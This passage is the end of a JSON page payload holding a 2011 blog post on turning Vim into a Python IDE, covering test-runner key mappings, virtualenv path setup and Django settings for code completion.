message. You can also use + and - on the\nfilenames in the message to stage/unstage them for the commit.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/NuRRj.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch1\u003eTest Integration\u003c/h1\u003e\n\u003ch2\u003edjango nose\u003c/h2\u003e\n\u003cp\u003eTest runner integration really depends on the testing library you are\nusing and what type of tests you are running but we included a great\ngeneric plugin called MakeGreen that executes off of vim's makeprg\nvariable. So for instance, if you are using django with django-nose you\ncould define a shortcut key in your ~/.vimrc like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;leader\u003edt :set makeprg=python\\ manage.py\\ test\\|:call MakeGreen()\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will just give you a green bar at the bottom of vim if your test\npassed or a red bar with the message of the failed test if it doesn't.\nVery simple.\u003c/p\u003e\n\u003ch2\u003epy.test\u003c/h2\u003e\n\u003cp\u003eI also included the py.test vim plugin for those who prefer it. This\nplugin has a lot more functionality including executing individual tests\nby class, file, or method. You can also cycle through the individual\nassertion errors. I have the following bindings:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\" Execute the tests\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etf \u0026#x3C;Esc\u003e:Pytest file\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etc \u0026#x3C;Esc\u003e:Pytest class\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etm \u0026#x3C;Esc\u003e:Pytest method\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\" cycle through test errors\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etn \u0026#x3C;Esc\u003e:Pytest next\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etp \u0026#x3C;Esc\u003e:Pytest previous\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003ete \u0026#x3C;Esc\u003e:Pytest error\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/RAE7v.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch1\u003eVirtualenv\u003c/h1\u003e\n\u003cp\u003eVim doesn't realize that you are in a virtualenv so it wont give you\ncode completion for libraries only installed there. Add the following\nscript to your ~/.vimrc to fix it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\" Add the virtualenv's site-packages to vim path\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003epy \u0026#x3C;\u0026#x3C; EOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eimport os.path\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eimport sys\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eimport vim\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eif 'VIRTUAL_ENV' in os.environ:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    project_base_dir = os.environ['VIRTUAL_ENV']\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    sys.path.insert(0, project_base_dir)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    activate_this = os.path.join(project_base_dir, 'bin/activate_this.py')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    execfile(activate_this, dict(__file__=activate_this))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eDjango\u003c/h1\u003e\n\u003cp\u003eThe only true django tweak I make is before I open vim I'll export the\nDJANGO_SETTINGS_MODULE environment so that I get code completion for\ndjango modules as well:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eexport DJANGO_SETTINGS_MODULE=project.settings\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eRandom Tips\u003c/h1\u003e\n\u003cp\u003eIf you want to find a new color scheme just go to\n\u003ca href=\"http://code.google.com/p/vimcolorschemetest/\"\u003ehttp://code.google.com/p/vimcolorschemetest/\u003c/a\u003e to preview a large\nselection.\u003c/p\u003e\n\u003cp\u003eJohn Anderson \u0026#x3C;\u003ca href=\"mailto:sontek@gmail.com\"\u003esontek@gmail.com\u003c/a\u003e\u003e 2011\u003c/p\u003e","category":"Development","date":"2011-05-06T19:00:00-05:00","tags":["Vim","Python"],"title":"Turning Vim into a modern Python IDE"}]}}},"__N_SSG":true},"page":"/blog/tags/[...id]","query":{"id":["Security"]},"buildId":"A3QnPkf0t88g2qmSK2yoe","isFallback":false,"gsp":true,"scriptLoader":[]}